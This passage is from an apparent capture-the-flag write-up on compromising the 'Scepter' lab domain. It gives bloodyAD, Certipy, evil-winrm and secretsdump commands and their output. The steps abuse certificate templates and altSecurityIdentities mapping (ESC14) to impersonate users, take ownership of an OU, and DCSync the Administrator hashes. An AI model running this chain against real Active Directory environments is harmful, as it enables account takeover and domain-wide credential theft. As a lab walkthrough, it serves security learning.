on relevant OU, but not ond.baker
itself)
- Can enroll in the vulnerable certificate template (i.e.,
Our target on the exploit will be:
altSecurityIdentities (target) = X509:<RFC822>[email protected]
mail (victim) = [email protected]
This causes the issued certificate for d.baker
to bind to h.brown
, thanks to the RFC822-based mapping. And eventually compromise the target h.brown user.
Exploit Steps
Here's the refined plan to compromise h.brown
using the misconfigured StaffAccessCertificate
template — pivoting through d.baker
by hijacking his mail
attribute from:
CN=Users, CN=d.baker, [email protected]
Step 1: Modify mail
of the victim account (d.baker
)
As a.carter
, who is a member of IT SUPPORT
with GenricAll
on the OU (see here), we can first become its owner:
bloodyAD --host dc01.scepter.htb -d scepter.htb \
-u a.carter -p 'Axura4sure~' \
set owner "OU=Staff Access Certificate,DC=scepter,DC=htb" \
a.carter
This will replace use for the old owner:

Being the owner we can now grant ourselves genericALL
priv on the OU:
bloodyAD --host dc01.scepter.htb -d scepter.htb \
-u a.carter -p 'Axura4sure~' \
add genericAll "OU=Staff Access Certificate,DC=scepter,DC=htb" \
a.carter
Wit sufficient rights, now we can change d.baker
's mail
to match h.brown
's altSecurityIdentities
mapping:
bloodyAD --host dc01.scepter.htb -d scepter.htb \
-u a.carter -p 'Axura4sure~' \
set object d.baker mail \
-v '[email protected]'

Step 2: Enroll d.baker
for certificate with StaffAccessCertificate
./ft.sh $target_ip \
certipy req -u 'd.baker'@scepter.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
-ca scepter-DC01-CA -template StaffAccessCertificate \
-target dc01.scepter.htb
This will output a .pfx
file containing a certificate impersonating h.brown
:

Step 3: Authenticate as h.brown
$ ./ft.sh $target_ip \
certipy auth -pfx d.baker.pfx \
-username h.brown -domain scepter.htb \
-dc-ip $target_ip
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.086873
28801.086873s
[*] Running: certipy auth -pfx d.baker.pfx -username h.brown -domain scepter.htb -dc-ip 10.129.▒▒.▒▒
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
We will now obtain a TGT and NT hash of h.brown
.
Step 4: Evil-WinRM Shell as h.brown
NTLM hash seems to banned from remote login, but Kerberos ticket works fine:
$ nxc winrm $target_ip -u h.brown -H 4ecf5242092c6fb8c360a08069c75a0c
WINRM 10.129.▒▒.▒▒ 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb)
WINRM 10.129.▒▒.▒▒ 5985 DC01 [-] scepter.htb\h.brown:4ecf5242092c6fb8c360a08069c75a0c
$ klist h.brown.ccache
Ticket cache: FILE:h.brown.ccache
Default principal: [email protected]
Valid starting Expires Service principal
04/20/2025 08:23:51 04/20/2025 12:23:51 krbtgt/[email protected]
renew until 04/20/2025 12:23:51
$ export KRB5CCNAME=h.brown.ccache
Configure /etc/krb5.conf
:
[libdefaults]
default_realm = SCEPTER.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
SCEPTER.HTB = {
kdc = dc01.scepter.htb
default_domain = scepter.htb
}
[domain_realm]
.scepter.htb = SCEPTER.HTB
scepter.htb = SCEPTER.HTB
Then we can use evil-winrm to login with the Kerberos ticket:
./ft.sh $target_ip \
evil-winrm -i dc01.scepter.htb -r SCEPTER.HTB
And take the user flag here:

ROOT
Enum
After compromising a new user — in this case, h.brown
— we immediately test our foothold by mapping out writable attributes using bloodyAD get writable
module:
$ ./ft.sh $target_ip \
bloodyAD --host dc01.scepter.htb -d scepter.htb \
-u h.brown -k \
get writable --detail
[...]
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE
We verified that h.brown
possesses write access to the altSecurityIdentities
attribute of p.adams
, whose OU is Helpdesk Enrollment Certificate
. This sounds reasonable as we identified h.brown
's membership in the Helpdesk Admins
group (as revealed via BloodHound earlier):

Again, this aligns perfectly with an ESC14 (B) abuse path — where a compromised user can modify another user's altSecurityIdentities
attribute.
ESC14 (B)
This time, we execute the modification inside h.brown
's winrm shell. With the wirte priv, we are able to assign the X509 identity to p.adams
to himself directly, spoofing the target:
$victim = [ADSI]"LDAP://CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb"
$victim.Properties["altSecurityIdentities"].Value = "X509:<RFC822>[email protected]"
$victim.CommitChanges()
Now we follow the same logic — weaponizing the d.baker
account (eligible for enrollment) to impersonate p.adams
(no winder his name is baker
!):
# Change password for a.carter, as there's a cleanup script
bloodyAD --host "dc01.scepter.htb" -d "scepter.htb" \
-u 'd.baker' -p ':18b5fb0d99e7a475316213c15b6f22ce' \
set password "a.carter" 'Axura4sure~'
# Set a.carter owner of the "Staff Access" OU
bloodyAD --host dc01.scepter.htb -d scepter.htb \
-u a.carter -p 'Axura4sure~' \
set owner "OU=Staff Access Certificate,DC=scepter,DC=htb" \
a.carter
# Grant GenericAll for a.carter on the target OU
bloodyAD --host dc01.scepter.htb -d scepter.htb \
-u a.carter -p 'Axura4sure~' \
add genericAll "OU=Staff Access Certificate,DC=scepter,DC=htb" \
a.carter
# Hijack mail attr of the enrollable d.baker to victim p.adam
bloodyAD --host dc01.scepter.htb -d scepter.htb \
-u a.carter -p 'Axura4sure~' \
set object d.baker mail \
-v '[email protected]'
We're now primed to request a certificate for p.adams
— while operating as d.baker
with Certipy:
$ ./ft.sh $target_ip \
certipy req -u 'd.baker'@scepter.htb -hashes ':18b5fb0d99e7a475316213c15b6f22ce' \
-ca scepter-DC01-CA -template StaffAccessCertificate \
-target dc01.scepter.htb
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.171925
28801.171925s
[*] Running: certipy req -u [email protected] -hashes :18b5fb0d99e7a475316213c15b6f22ce -ca scepter-DC01-CA -template StaffAccessCertificate -target dc01.scepter.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 13
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'
Re-authenticate:
$ ./ft.sh $target_ip \
certipy auth -pfx d.baker.pfx \
-username p.adams -domain scepter.htb \
-dc-ip $target_ip
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.187549
28801.187549s
[*] Running: certipy auth -pfx d.baker.pfx -username p.adams -domain scepter.htb -dc-ip 10.129.▒▒.▒▒
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
DCSync
The final act — p.adams
holds DCSync rights (as seen in previous BloodHound output). With the TGT loaded via ccache
, we trigger:
$ export KRB5CCNAME=./p.adams.ccache
$ klist
Ticket cache: FILE:./p.adams.ccache
Default principal: [email protected]
Valid starting Expires Service principal
04/20/2025 10:18:40 04/20/2025 20:18:40 krbtgt/[email protected]
renew until 04/21/2025 10:18:30
$ ./ft.sh $target_ip \
secretsdump.py -k -no-pass \
scepter.htb/[email protected] \
-dc-ip $target_ip -just-dc-user administrator
[*] Querying offset from: 10.129.▒▒.▒▒
[*] faketime -f format: +28801.191163
28801.191163s
[*] Running: secretsdump.py -k -no-pass scepter.htb/[email protected] -dc-ip 10.129.▒▒.▒▒ -just-dc-user administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cc5d676d45f8287aef2f1abcd65213d9575c86c54c9b1977935983e28348bcd5
Administrator:aes128-cts-hmac-sha1-96:bb557b22bad08c219ce7425f2fe0b70c
Administrator:des-cbc-md5:f79d45bf688aa238
[*] Cleaning up...
Evil-winrm as Administrator
with its NT hash and take the root flag:

Rooted.
Comments | NOTHING